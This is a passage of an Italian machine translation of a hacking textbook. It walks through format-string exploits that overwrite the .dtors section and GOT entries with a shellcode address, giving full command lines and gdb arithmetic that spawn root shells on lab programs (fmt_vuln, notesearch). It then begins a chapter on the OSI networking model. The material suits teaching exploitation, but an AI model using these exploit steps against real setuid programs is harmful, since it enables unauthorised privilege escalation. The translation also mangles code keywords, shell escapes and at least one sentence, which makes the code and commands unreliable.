lettore @ hacking: ~ / booksrc $

L'esempio precedente utilizzava un metodo wraparound simile da trattare


la seconda scrittura di 0xbfff è minore della prima scrittura di 0xfd72 . Utilizzando short
scrive, l'ordine delle scritture non ha importanza, quindi la prima scrittura può essere 0xfd72
e il secondo 0xbfff , se i due indirizzi passati vengono scambiati in posizione.
Nell'output seguente, l'indirizzo 0x08049796 viene scritto per primo e 0x08049794 è
scritto al secondo.

(gdb) p 0xbfff - 8
$ 1 = 49143
(gdb) p 0xfd72 - 0xbfff
$ 2 = 15731
(gdb) esci
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x96 \ x97 \ x04 \ x08 \ x94 \ x97 \ x04 \ x08")% 49143x% 4 \
$ hn% 15731x% 5 \ $ hn
Il modo giusto per stampare l'input controllato dall'utente:
????% 49143x% 4 $ hn% 15731x% 5 $ hn
Il modo sbagliato per stampare l'input controllato dall'utente:
????

b7fe75fc
[*] test_val @ 0x08049794 = -1073742478 0xbffffd72
lettore @ hacking: ~ / booksrc $

La capacità di sovrascrivere indirizzi di memoria arbitrari implica la capacità


per controllare il flusso di esecuzione del programma. Un'opzione è sovrascrivere
l'indirizzo di ritorno nello stack frame più recente, come è stato fatto con il
overflow basati su stack. Sebbene questa sia un'opzione possibile, ci sono altri obiettivi
che hanno indirizzi di memoria più prevedibili. La natura di stack-based
overflows consente solo la sovrascrittura dell'indirizzo di ritorno, ma formatta le stringhe
fornire la possibilità di sovrascrivere qualsiasi indirizzo di memoria, che crea altro
possibilità.

Sfruttamento 183
Pagina 198

0x357 Deviazioni con .dtors


Nei programmi binari compilati con il compilatore GNU C, sezioni di tabella speciali
chiamati .dtors e .ctors sono creati rispettivamente per distruttori e costruttori.
Le funzioni del costruttore vengono eseguite prima che venga eseguita la funzione main () ,
e le funzioni del distruttore vengono eseguite appena prima che la funzione main () esca
con una chiamata di sistema di uscita. Le funzioni del distruttore e la sezione della tabella .dtors
sono di particolare interesse.
Una funzione può essere dichiarata come funzione distruttore definendo il file
attributo distruttore, come visto in dtors_sample.c.

dtors_sample.c

#include <stdio.h>
#include <stdlib.h>

static void cleanup (void) __attribute__ ((destructor));

principale() {
printf ("Alcune azioni avvengono nella funzione main () .. \ n");
printf ("e poi quando main () esce, il distruttore viene chiamato .. \ n");

uscita (0);
}

void cleanup (void) {


printf ("Nella funzione di pulizia ora .. \ n");
}

Nell'esempio di codice precedente, la funzione cleanup () è definita con


attributo distruttore, quindi la funzione viene chiamata automaticamente quando main ()
la funzione esce, come mostrato di seguito.

reader @ hacking: ~ / booksrc $ gcc -o dtors_sample dtors_sample.c


lettore @ hacking: ~ / booksrc $ ./dtors_sample
Alcune azioni avvengono nella funzione main () ..
e poi quando main () esce, viene chiamato il distruttore ..
Nella funzione cleanup () ora ..
lettore @ hacking: ~ / booksrc $

Questo comportamento di eseguire automaticamente una funzione all'uscita è controllato da


la sezione della tabella .dtors del file binario. Questa sezione è un array di indirizzi a 32 bit
terminato da un indirizzo NULL. La matrice inizia sempre con 0xffffffff
e termina con l'indirizzo NULL di 0x00000000 . Tra questi due ci sono i file
indirizzi di tutte le funzioni che sono state dichiarate con il distruttore
attributo.
Il comando nm può essere utilizzato per trovare l'indirizzo di cleanup ()
function e objdump possono essere usati per esaminare le sezioni del file binario.

184 0x300

Pagina 199

reader @ hacking: ~ / booksrc $ nm ./dtors_sample


080495bc d _DYNAMIC
08049688 d _GLOBAL_OFFSET_TABLE_
080484e4 R _IO_stdin_used
w _Jv_RegisterClasses
080495a8 d __CTOR_END__
080495a4 d __CTOR_LIST__
080495b4 d __DTOR_END__
080495ac d __DTOR_LIST__
080485a0 r __FRAME_END__
080495b8 d __JCR_END__
080495b8 d __JCR_LIST__
080496b0 A __bss_start
080496a4 D __data_start
08048480 t __do_global_ctors_aux
08048340 t __do_global_dtors_aux
080496a8 D __dso_handle
w __gmon_start__
08048479 T __i686.get_pc_thunk.bx
080495a4 d __init_array_end
080495a4 d __init_array_start
08048400 T __libc_csu_fini
08048410 T __libc_csu_init
U __libc_start_main @@ GLIBC_2.0
080496b0 A _edata
080496b4 A _end
080484b0 T _fini
080484e0 R _fp_hw
0804827c T _init
080482f0 T _start
08048314 t call_gmon_start
080483e8 t cleanup
080496b0 b completato 1
080496a4 W data_start
U exit @@ GLIBC_2.0
08048380 t frame_dummy
080483b4 T principale
080496ac d p.0
U printf @@ GLIBC_2.0
lettore @ hacking: ~ / booksrc $

Il comando nm mostra che la funzione cleanup () si trova in 0x080483e8


(mostrato in grassetto sopra). Rivela anche che la sezione .dtors inizia da 0x080495ac
con __DTOR_LIST__ () e termina a 0x080495b4 con __DTOR_END__ (). Questo
significa che 0x080495ac dovrebbe contenere 0xffffffff , 0x080495b4 dovrebbe contenere
0x00000000 e l'indirizzo tra di loro ( 0x080495b0 ) dovrebbe contenere l' estensione
indirizzo della funzione cleanup () ( 0x080483e8 ).
Il comando objdump mostra il contenuto effettivo della sezione .dtors
(mostrato in grassetto sotto), sebbene in un formato leggermente confuso. Il primo
il valore di 80495ac mostra semplicemente l'indirizzo in cui si trova la sezione .dtors

Sfruttamento 185

Pagina 200

trova. Quindi vengono visualizzati i byte effettivi, al contrario dei DWORD, il che significa
i byte vengono invertiti. Tenendo presente questo, tutto sembra essere corretto.

reader @ hacking: ~ / booksrc $ objdump -s -j .dtors ./dtors_sample

./dtors_sample: formato file elf32-i386

Contenuti della sezione .dtors:


80495ac ffffffff e8830408 ​00000000 ............
lettore @ hacking: ~ / booksrc $

Un dettaglio interessante della sezione .dtors è che è scrivibile. Un oggetto


il dump delle intestazioni verificherà ciò mostrando che la sezione .dtors non lo è
etichettato READONLY .

reader @ hacking: ~ / booksrc $ objdump -h ./dtors_sample

./dtors_sample: formato file elf32-i386

Sezioni:
Nome Idx Dimensioni VMA LMA File off Algn
0 .interp 00000013 08048114 08048114 00000114 2 ** 0
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
1 .note.ABI-tag 00000020 08048128 08048128 00000128 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
2 .hash 0000002c 08048148 08048148 00000148 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
3 .dynsym 00000060 08048174 08048174 00000174 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
4 .dynstr 00000051 080481d4 080481d4 000001d4 2 ** 0
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
5 .gnu.version 0000000c 08048226 08048226 00000226 2 ** 1
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
6 .gnu.version_r 00000020 08048234 08048234 00000234 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
7 .rel.dyn 00000008 08048254 08048254 00000254 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
8 .rel.plt 00000020 0804825c 0804825c 0000025c 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
9 .init 00000017 0804827c 0804827c 0000027c 2 ** 2
CONTENUTO, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, CODICE
10 .plt 00000050 08048294 08048294 00000294 2 ** 2
CONTENUTO, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, CODICE
11 .testo 000001c0 080482f0 080482f0 000002f0 2 ** 4
CONTENUTO, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, CODICE
12 .fini 0000001c 080484b0 080484b0 000004b0 2 ** 2
CONTENUTO, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, CODICE
13 .rodata 000000bf 080484e0 080484e0 000004e0 2 ** 5
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
14 .eh_frame 00000004 080485a0 080485a0 000005a0 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
15 .ctors 00000008 080495a4 080495a4 000005a4 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICO, DATI

186 0x300

Pagina 201

16 medici 0000000c 080495ac 080495ac 000005ac 2 ** 2


CONTENUTI, ASSEGNAZIONE, CARICO, DATI
17 .jcr 00000004 080495b8 080495b8 000005b8 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICO, DATI
18 .dynamic 000000c8 080495bc 080495bc 000005bc 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICO, DATI
19 .got 00000004 08049684 08049684 00000684 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICO, DATI
20 .got.plt 0000001c 08049688 08049688 00000688 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICO, DATI
21 .data 0000000c 080496a4 080496a4 000006a4 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICO, DATI
22 .bss 00000004 080496b0 080496b0 000006b0 2 ** 2
ALLOC
23. Commento 0000012f 00000000 00000000 000006b0 2 ** 0
CONTENUTO, SOLO IN LETTURA
24 .debug_aranges 00000058 00000000 00000000 000007e0 2 ** 3
CONTENUTI, SOLO, DEBUGGING
25 .debug_pubnames 00000025 00000000 00000000 00000838 2 ** 0
CONTENUTI, SOLO, DEBUGGING
26 .debug_info 000001ad 00000000 00000000 0000085d 2 ** 0
CONTENUTI, SOLO, DEBUGGING
27 .debug_abbrev 00000066 00000000 00000000 00000a0a 2 ** 0
CONTENUTI, SOLO, DEBUGGING
28 .debug_line 0000013d ​00000000 00000000 00000a70 2 ** 0
CONTENUTI, SOLO, DEBUGGING
29 .debug_str 000000bb 00000000 00000000 00000bad 2 ** 0
CONTENUTI, SOLO, DEBUGGING
30 .debug_ranges 00000048 00000000 00000000 00000c68 2 ** 3
CONTENUTI, SOLO, DEBUGGING
lettore @ hacking: ~ / booksrc $

Un altro dettaglio interessante sulla sezione .dtors è che è inclusa in


tutti i binari compilati con il compilatore GNU C, indipendentemente dal fatto che ce ne siano
le funzioni sono state dichiarate con l'attributo distruttore. Ciò significa che il file
il programma con stringhe di formato vulnerabile, fmt_vuln.c, deve avere una sezione .dtors
non contenendo niente. Questo può essere controllato usando nm e objdump .

lettore @ hacking: ~ / booksrc $ nm ./fmt_vuln | grep DTOR


08049694 d __DTOR_END__
08049690 d __DTOR_LIST__
lettore @ hacking: ~ / booksrc $ objdump -s -j .dtors ./fmt_vuln

./fmt_vuln: formato file elf32-i386

Contenuti della sezione .dtors:


8049690 ffffffff 00000000 ........
lettore @ hacking: ~ / booksrc $

Come mostra questo output, la distanza tra __DTOR_LIST__ e __DTOR_END__


è solo quattro byte questa volta, il che significa che non ci sono indirizzi tra di loro.
Il dump dell'oggetto lo verifica.

Sfruttamento 187

Pagina 202

Poiché la sezione .dtors è scrivibile, se l'indirizzo dopo 0xffffffff è


sovrascritto con un indirizzo di memoria, il flusso di esecuzione del programma sarà
diretto a quell'indirizzo quando il programma esce. Questo sarà l'indirizzo di
__DTOR_LIST__ più quattro, che è 0x08049694 (che è anche il
indirizzo di __DTOR_END__ in questo caso).
Se il programma è suid root e questo indirizzo può essere sovrascritto, lo sarà
possibile ottenere una shell di root.

lettore @ hacking: ~ / booksrc $ export SHELLCODE = $ (cat shellcode.bin)


lettore @ hacking: ~ / booksrc $ ./getenvaddr SHELLCODE ./fmt_vuln
SHELLCODE sarà a 0xbffff9ec
lettore @ hacking: ~ / booksrc $

Shellcode può essere inserito in una variabile di ambiente e l'indirizzo può


essere previsto come al solito. Poiché le lunghezze del nome del programma del programma di supporto
getenvaddr.c e il programma vulnerabile fmt_vuln.c differiscono di due byte, il
shellcode sarà posizionato in 0xbffff9ec quando fmt_vuln.c viene eseguito. Questo
l'indirizzo deve essere semplicemente scritto nella sezione .dtors a 0x08049694 (mostrato
in grassetto sotto) utilizzando la vulnerabilità della stringa di formato. Nell'output sotto il file
viene utilizzato il metodo di scrittura breve.

lettore @ hacking: ~ / booksrc $ gdb -q


(gdb) p 0xbfff - 8
$ 1 = 49143
(gdb) p 0xf9ec - 0xbfff
$ 2 = 14829
(gdb) esci
lettore @ hacking: ~ / booksrc $ nm ./fmt_vuln | grep DTOR
08049694 d __DTOR_END__
08049690 d __DTOR_LIST__
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x96 \ x96 \ x04 \ x08 \ x94 \ x96 \ x04 \
x08 ")% 49143x% 4 \ $ hn% 14829x% 5 \ $ hn
Il modo giusto per stampare l'input controllato dall'utente:
????% 49143x% 4 $ hn% 14829x% 5 $ hn
Il modo sbagliato per stampare l'input controllato dall'utente:
????

b7fe75fc
[*] test_val @ 0x08049794 = -72 0xffffffb8
sh-3.2 # whoami
radice
sh-3.2 #

Anche se la sezione .dtors non è terminata correttamente con un NULL


indirizzo di 0x00000000 , l'indirizzo dello shellcode è ancora considerato un distruttore
funzione. Quando il programma esce, verrà chiamato lo shellcode, generando un file
guscio di radice.

188 0x300

Pagina 203

0x358 Un'altra vulnerabilità di notesearch


Oltre alla vulnerabilità di overflow del buffer, il programma notesearch
dalcapacità
la Capitoloè 2mostrata
soffre anche di una nell'elenco
in grassetto vulnerabilità
deidelle stringhe
codici di formato. Questa vulnerabilità
di seguito.

int print_notes (int fd, int uid, char * searchstring) {


int note_length;
char byte = 0, note_buffer [100];

note_length = find_user_note (fd, uid);


if (note_length == -1) // Se viene raggiunta la fine del file,
return 0; // restituisce 0.

read (fd, note_buffer, note_length); // Legge i dati della nota.


note_buffer [note_length] = 0; // Termina la stringa.

if (search_note (note_buffer, searchstring)) // Se searchstring trovata,


printf (note_buffer); // stampa la nota.
ritorno 1;
}

Questa funzione legge note_buffer dal file e stampa il contenuto


della nota senza fornire la propria stringa di formato. Anche se questo buffer non può essere
controllata direttamente dalla riga di comando, la vulnerabilità può essere sfruttata
inviando esattamente i dati corretti al file utilizzando il programma notetaker e
quindi aprendo quella nota utilizzando il programma notesearch. Nell'output seguente,
il programma notetaker viene utilizzato per creare note per sondare la memoria nella nota-
programma di ricerca. Questo ci dice che l'ottavo parametro della funzione è in
inizio del buffer.

reader @ hacking: ~ / booksrc $ ./notetaker AAAA $ (perl -e 'print "% x." x10')
[DEBUG] buffer @ 0x804a008: "AAAA% x.% X.% X.% X.% X.% X.% X.% X.% X.% X."
[DEBUG] file di dati @ 0x804a070: "/ var / notes"
Il descrittore del file [DEBUG] è 3
La nota è stata salvata.
reader @ hacking: ~ / booksrc $ ./notesearch AAAA
[DEBUG] ha trovato una nota di 34 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 41 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 5 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 35 byte per l'ID utente 999
AAAAbffff750.23.20435455.37303032.0.0.1.41414141.252e7825.78252e78.
------- [dati di fine nota] -------
lettore @ hacking: ~ / booksrc $ ./notetaker BBBB% 8 \ $ x
[DEBUG] buffer @ 0x804a008: "BBBB% 8 $ x"
[DEBUG] file di dati @ 0x804a070: "/ var / notes"
Il descrittore del file [DEBUG] è 3
La nota è stata salvata.
lettore @ hacking: ~ / booksrc $ ./notesearch BBBB

Sfruttamento 189

Pagina 204

[DEBUG] ha trovato una nota di 34 byte per l'ID utente 999


[DEBUG] ha trovato una nota di 41 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 5 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 35 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 9 byte per l'ID utente 999
BBBB42424242
------- [dati di fine nota] -------
lettore @ hacking: ~ / booksrc $

Ora che la disposizione relativa della memoria è nota, lo sfruttamento è solo un file
questione di sovrascrivere la sezione .dtors con l'indirizzo dello shellcode iniettato.

lettore @ hacking: ~ / booksrc $ export SHELLCODE = $ (cat shellcode.bin)


lettore @ hacking: ~ / booksrc $ ./getenvaddr SHELLCODE ./notesearch
SHELLCODE sarà a 0xbffff9e8
lettore @ hacking: ~ / booksrc $ gdb -q
(gdb) p 0xbfff - 8
$ 1 = 49143
(gdb) p 0xf9e8 - 0xbfff
$ 2 = 14825
(gdb) esci
lettore @ hacking: ~ / booksrc $ nm ./notesearch | grep DTOR
08049c60 d __DTOR_END__
08049c5c d __DTOR_LIST__
lettore @ hacking: ~ / booksrc $ ./notetaker $ (printf "\ x62 \ x9c \ x04 \ x08 \ x60 \ x9c \ x04 \
x08 ")% 49143x% 8 \ $ hn% 14825x% 9 \ $ hn
[DEBUG] buffer @ 0x804a008: 'b? `?% 49143x% 8 $ hn% 14825x% 9 $ hn'
[DEBUG] file di dati @ 0x804a070: "/ var / notes"
Il descrittore del file [DEBUG] è 3
La nota è stata salvata.
lettore @ hacking: ~ / booksrc $ ./notesearch 49143x
[DEBUG] ha trovato una nota di 34 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 41 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 5 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 35 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 9 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 33 byte per l'ID utente 999

21
------- [dati di fine nota] -------
sh-3.2 # whoami
radice
sh-3.2 #

0x359 Sovrascrittura della tabella offset globale


Poiché un programma potrebbe utilizzare molte volte una funzione in una libreria condivisa, è
utile avere una tabella per fare riferimento a tutte le funzioni. Un'altra sezione speciale in
i programmi compilati vengono utilizzati a questo scopo: la PLT (procedure linkage table) .

190 0x300
Pagina 205

Questa sezione è composta da molte istruzioni di salto, ciascuna corrispondente a


l'indirizzo di una funzione. Funziona come un trampolino di lancio, ogni volta che viene condiviso
deve essere chiamata la funzione, il controllo passerà attraverso il PLT.
Un dump di oggetti che disassembla la sezione PLT nel formato vulnerabile
Il programma stringa (fmt_vuln.c) mostra queste istruzioni di salto:

lettore @ hacking: ~ / booksrc $ objdump -d -j .plt ./fmt_vuln

./fmt_vuln: formato file elf32-i386

Smontaggio della sezione .plt:

080482b8 <__ gmon_start __ @ plt-0x10>:


80482b8: ff 35 6c 97 04 08 pushl 0x804976c
80482be: ff 25 70 97 04 08 jmp * 0x8049770
80482c4: 00 00 aggiungi% al, (% eax)
...

080482c8 <__ gmon_start __ @ plt>:


80482c8: ff 25 74 97 04 08 jmp * 0x8049774
80482ce: 68 00 00 00 00 spingere $ 0x0
80482d3: e9 e0 ff ff ff jmp 80482b8 <_init + 0x18>

080482d8 <__ libc_start_main @ plt>:


80482d8: ff 25 78 97 04 08 jmp * 0x8049778
80482de: 68 08 00 00 00 spingere $ 0x8
80482e3: e9 d0 ff ff ff jmp 80482b8 <_init + 0x18>

080482e8 <strcpy @ plt>:


80482e8: ff 25 7c 97 04 08 jmp * 0x804977c
80482ee: 68 10 00 00 00 spingere $ 0x10
80482f3: e9 c0 ff ff ff jmp 80482b8 <_init + 0x18>

080482f8 <printf @ plt>:


80482f8: ff 25 80 97 04 08 jmp * 0x8049780
80482fe: 68 18 00 00 00 spingere $ 0x18
8048303: e9 b0 ff ff ff jmp 80482b8 <_init + 0x18>

08048308 <exit @ plt>:


8048308: ff 25 84 97 04 08 jmp * 0x8049784
804830e: 68 20 00 00 00 spingere $ 0x20
8048313: e9 a0 ff ff ff jmp 80482b8 <_init + 0x18>
lettore @ hacking: ~ / booksrc $

Una di queste istruzioni di salto è associata alla funzione exit () ,


che viene chiamato alla fine del programma. Se l'istruzione di salto utilizzata per
la funzione exit () può essere manipolata per indirizzare il flusso di esecuzione
shellcode invece della funzione exit () , verrà generata una shell di root. Sotto,
la tabella di collegamento delle procedure si mostra di sola lettura.

Sfruttamento 191

Pagina 206

lettore @ hacking: ~ / booksrc $ objdump -h ./fmt_vuln | grep -A1 "\ .plt \"
10 .plt 00000060 080482b8 080482b8 000002b8 2 ** 2
CONTENUTO, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, CODICE

Ma un esame più approfondito delle istruzioni di salto (mostrate in grassetto sotto)


rivela che non stanno saltando a indirizzi ma a puntatori a indirizzi. Per
Ad esempio, l'indirizzo effettivo della funzione printf () è memorizzato come un puntatore a
l'indirizzo di memoria 0x08049780 e l' indirizzo della funzione exit () è memorizzato in
0x08049784 .

080482f8 <printf @ plt>:


80482f8: ff 25 80 97 04 08 jmp * 0x8049780
80482fe: 68 18 00 00 00 spingere $ 0x18
8048303: e9 b0 ff ff ff jmp 80482b8 <_init + 0x18>

08048308 <exit @ plt>:


8048308: ff 25 84 97 04 08 jmp * 0x8049784
804830e: 68 20 00 00 00 spingere $ 0x20
8048313: e9 a0 ff ff ff jmp 80482b8 <_init + 0x18>

Questi indirizzi esistono in un'altra sezione, chiamata tabella di offset globale (GOT) ,
che è scrivibile. Questi indirizzi possono essere ottenuti direttamente visualizzando il file
voci di riposizionamento dinamico per il binario utilizzando objdump .

lettore @ hacking: ~ / booksrc $ objdump -R ./fmt_vuln

./fmt_vuln: formato file elf32-i386

REGISTRAZIONI DI RILOCAZIONE DINAMICHE


TIPO DI OFFSET VALORE
08049764 R_386_GLOB_DAT __gmon_start__
08049774 R_386_JUMP_SLOT __gmon_start__
08049778 R_386_JUMP_SLOT __libc_start_main
0804977c R_386_JUMP_SLOT strcpy
08049780 R_386_JUMP_SLOT printf
08049784 R_386_JUMP_SLOT exit

lettore @ hacking: ~ / booksrc $


Questo rivela che l'indirizzo della funzione exit () (mostrato in grassetto sopra)
si trova nel GOT a 0x08049784 . Se l'indirizzo dello shellcode è finito
scritto in questa posizione, il programma dovrebbe chiamare lo shellcode quando pensa
sta chiamando la funzione exit () .
Come al solito, lo shellcode viene inserito in una variabile d'ambiente, il suo effettivo
la posizione è prevista e la vulnerabilità della stringa di formato viene utilizzata per scrivere il file
valore. In realtà, lo shellcode dovrebbe ancora trovarsi nell'ambiente da
prima, il che significa che le uniche cose che necessitano di regolazione sono i primi 16 byte
della stringa di formato. Verranno eseguiti i calcoli per i parametri di formato % x

192 0x300

Pagina 207

ancora una volta per chiarezza. Nell'output seguente, l'indirizzo dello shellcode ()
viene scritto nell'indirizzo della funzione exit () ().

lettore @ hacking: ~ / booksrc $ export SHELLCODE = $ (cat shellcode.bin)


lettore @ hacking: ~ / booksrc $ ./getenvaddr SHELLCODE ./fmt_vuln
SHELLCODE sarà a 0xbffff9ec
lettore @ hacking: ~ / booksrc $ gdb -q
(gdb) p 0xbfff - 8
$ 1 = 49143
(gdb) p 0xf9ec - 0xbfff
$ 2 = 14829
(gdb) esci
lettore @ hacking: ~ / booksrc $ objdump -R ./fmt_vuln

./fmt_vuln: formato file elf32-i386

REGISTRAZIONI DI RILOCAZIONE DINAMICHE


TIPO DI OFFSET VALORE
08049764 R_386_GLOB_DAT __gmon_start__
08049774 R_386_JUMP_SLOT __gmon_start__
08049778 R_386_JUMP_SLOT __libc_start_main
0804977c R_386_JUMP_SLOT strcpy
08049780 R_386_JUMP_SLOT printf
08049784 R_386_JUMP_SLOT exit

lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x86 \ x97 \ x04 \ x08 \ x84 \ x97 \ x04 \
x08 ")% 49143x% 4 \ $ hn% 14829x% 5 \ $ hn
Il modo giusto per stampare l'input controllato dall'utente:
????% 49143x% 4 $ hn% 14829x% 5 $ hn
Il modo sbagliato per stampare l'input controllato dall'utente:
????

b7fe75fc
[*] test_val @ 0x08049794 = -72 0xffffffb8
sh-3.2 # whoami
radice
sh-3.2 #

Quando fmt_vuln.c tenta di chiamare la funzione exit () , l'indirizzo del file


La funzione exit ()viene cercata in GOT e vi si accede tramite PLT. Da
l'indirizzo effettivo è stato scambiato con l'indirizzo per lo shellcode nel file
ambiente, viene generato un guscio di radice.
Un altro vantaggio di sovrascrivere il GOT è che le voci GOT lo sono
fisso per binario, quindi un sistema diverso con lo stesso binario avrà lo stesso
Entrata GOT allo stesso indirizzo.
La possibilità di sovrascrivere qualsiasi indirizzo arbitrario apre molte possibilità
per lo sfruttamento. Fondamentalmente, qualsiasi sezione di memoria che è scrivibile e contiene
un indirizzo che dirige il flusso di esecuzione del programma può essere mirato.

Sfruttamento 193

Pagina 209
208

0x400 NETWORKING
La comunicazione e il linguaggio sono notevolmente migliorati
le capacità della razza umana. Utilizzando un comune
linguaggio, gli esseri umani sono in grado di trasferire la conoscenza,
coordinare le azioni e condividere le esperienze. Allo stesso modo,
i programmi possono diventare molto più potenti quando ne hanno la capacità
comunicare con altri programmi tramite una rete. La vera utilità di un web
browser non è nel programma stesso, ma nella sua capacità di comunicare con
server web.
Il networking è così diffuso che a volte è dato per scontato. Molti
applicazioni come la posta elettronica, il Web e la messaggistica istantanea si basano su
ing. Ciascuna di queste applicazioni si basa su un particolare protocollo di rete, ma
ogni protocollo utilizza gli stessi metodi di trasporto di rete generali.
Molte persone non si rendono conto che ci sono vulnerabilità nella rete
protocolli stessi. In questo capitolo imparerai come collegare in rete la tua app
cationi utilizzando socket e come affrontare le vulnerabilità di rete comuni.

Pagina 210

Modello OSI 0x410


Quando due computer parlano tra loro, devono parlare la stessa lingua
calibro. La struttura di questo linguaggio è descritta a strati dal modello OSI.
Il modello OSI fornisce standard che consentono l'hardware, come router e
firewall, per concentrarsi su un aspetto particolare della comunicazione a cui si applica
loro e ignorare gli altri. Il modello OSI è suddiviso in concettuale
strati di comunicazione. In questo modo, l'hardware di routing e firewall può concentrarsi
sul passaggio dei dati ai livelli inferiori, ignorando i livelli superiori di incapsulamento dei dati
sulation utilizzato dalle applicazioni in esecuzione. I sette livelli OSI sono i seguenti:

Livello fisico Questo livello si occupa della connessione fisica tra


due punti. Questo è il livello più basso, il cui ruolo principale è la comunicazione
flussi di bit grezzi. Questo strato è anche responsabile dell'attivazione, del mantenimento,
e disattivando queste comunicazioni bit-stream.
Livello di collegamento dati Questo livello si occupa del trasferimento effettivo dei dati tra
due punti. In contrasto con il livello fisico, che si occupa di inviare
Con i bit grezzi, questo livello fornisce funzioni di alto livello, come l'errore
correzione e controllo del flusso. Questo livello fornisce anche procedure per l'attivazione
vating, mantenimento e disattivazione delle connessioni data-link.
Livello di rete Questo livello funziona come una via di mezzo; il suo ruolo principale è
per passare le informazioni tra i livelli inferiore e superiore. Fornisce
indirizzamento e instradamento.
Livello di trasporto Questo livello fornisce il trasferimento trasparente dei dati tra
sistemi. Fornendo una comunicazione dati affidabile, questo livello consente il
livelli più alti per non preoccuparsi mai dell'affidabilità o dell'economicità dei dati
trasmissione.
Livello di sessione Questo livello è responsabile della creazione e del mantenimento
connessioni tra applicazioni di rete.
Livello di presentazione Questo livello è responsabile della presentazione dei dati a
applicazioni in una sintassi o in un linguaggio che comprendono. Ciò consente
cose come la crittografia e la compressione dei dati.
Livello applicazione Questo livello si occupa di tenere traccia del file
requisiti dell'applicazione.

Quando i dati vengono comunicati attraverso questi livelli di protocollo, vengono inviati
piccoli pezzi chiamati pacchetti. Ogni pacchetto contiene implementazioni di questi
strati di protocollo. A partire dal livello applicativo, il pacchetto avvolge il pre-
livello di sentation attorno a quei dati, che avvolge il livello di sessione, che avvolge
lo strato di trasporto e così via. Questo processo è chiamato incapsulamento. Ogni
il livello avvolto contiene un'intestazione e un corpo. L'intestazione contiene il pro
tocol informazioni necessarie per quel livello, mentre il corpo contiene i dati per
quello strato. Il corpo di uno strato contiene l'intero pacchetto di precedentemente
strati incapsulati, come la buccia di una cipolla oi contesti funzionali
trovato nello stack di un programma.

196 0x400

Pagina 211

Ad esempio, ogni volta che navighi sul Web, il cavo Ethernet e


la scheda costituisce lo strato fisico, occupandosi della trasmissione dei bit grezzi
da un'estremità all'altra del cavo. Il successivo è il livello di collegamento dati.
Nell'esempio del browser web, Ethernet costituisce questo livello, che fornisce
le comunicazioni di basso livello tra le porte Ethernet sulla LAN. Questo
protocollo consente la comunicazione tra le porte Ethernet, ma queste porte
non hanno ancora indirizzi IP. Il concetto di indirizzi IP non esiste fino a quando
il livello successivo, il livello di rete. Oltre all'indirizzamento, questo livello è
responsabile dello spostamento dei dati da un indirizzo a un altro. Questi tre
gli strati inferiori insieme sono in grado di inviare pacchetti di dati da un indirizzo IP
ad un altro. Il livello successivo è il livello di trasporto, che per il traffico web è
TCP; fornisce una connessione presa bidirezionale senza interruzioni. Il termine TCP / IP
descrive l'uso di TCP a livello di trasporto e IP a livello di rete.
Esistono altri schemi di indirizzamento a questo livello; tuttavia, il tuo traffico web
probabilmente utilizza IP versione 4 (IPv4). Gli indirizzi IPv4 seguono una forma familiare
di XX . XX . XX . XX . Anche la versione IP 6 (IPv6) esiste su questo livello, con un file totalmente
diverso schema di indirizzamento. Poiché IPv4 è il più comune, IP lo farà sempre
fare riferimento a IPv4 in questo libro.
Il traffico web stesso utilizza HTTP (Hypertext Transfer Protocol) per
municate, che si trova nel livello superiore del modello OSI. Quando navighi nel file
Web, il browser web sulla tua rete sta comunicando attraverso Internet
con il server web situato su una rete privata diversa. Quando questo accade,
i pacchetti di dati vengono incapsulati fino al livello fisico in cui si trovano
passato a un router. Dal momento che il router non si preoccupa di cosa c'è effettivamente dentro
i pacchetti, ha solo bisogno di implementare protocolli fino al livello di rete.
Il router invia i pacchetti a Internet, dove raggiungono l'altro
router di rete. Questo router incapsula quindi questo pacchetto con il
intestazioni di protocollo di livello necessarie affinché il pacchetto raggiunga la sua destinazione finale.
Questo processo è mostrato nell'illustrazione seguente.

Rete 1 Rete 2
applicazione Internet applicazione

(7) Livello applicazione

(6) Livello di presentazione

(5) Livello di sessione

(4) Livello di trasporto

(3) Livello di rete

(2) Livello di collegamento dati

(1) Livello fisico

Networking 197

Pagina 212

Tutto questo incapsulamento dei pacchetti costituisce un linguaggio complesso che ospita
su Internet (e altri tipi di reti) utilizzano per comunicare con ciascuno
altro. Questi protocolli sono programmati in router, firewall e file
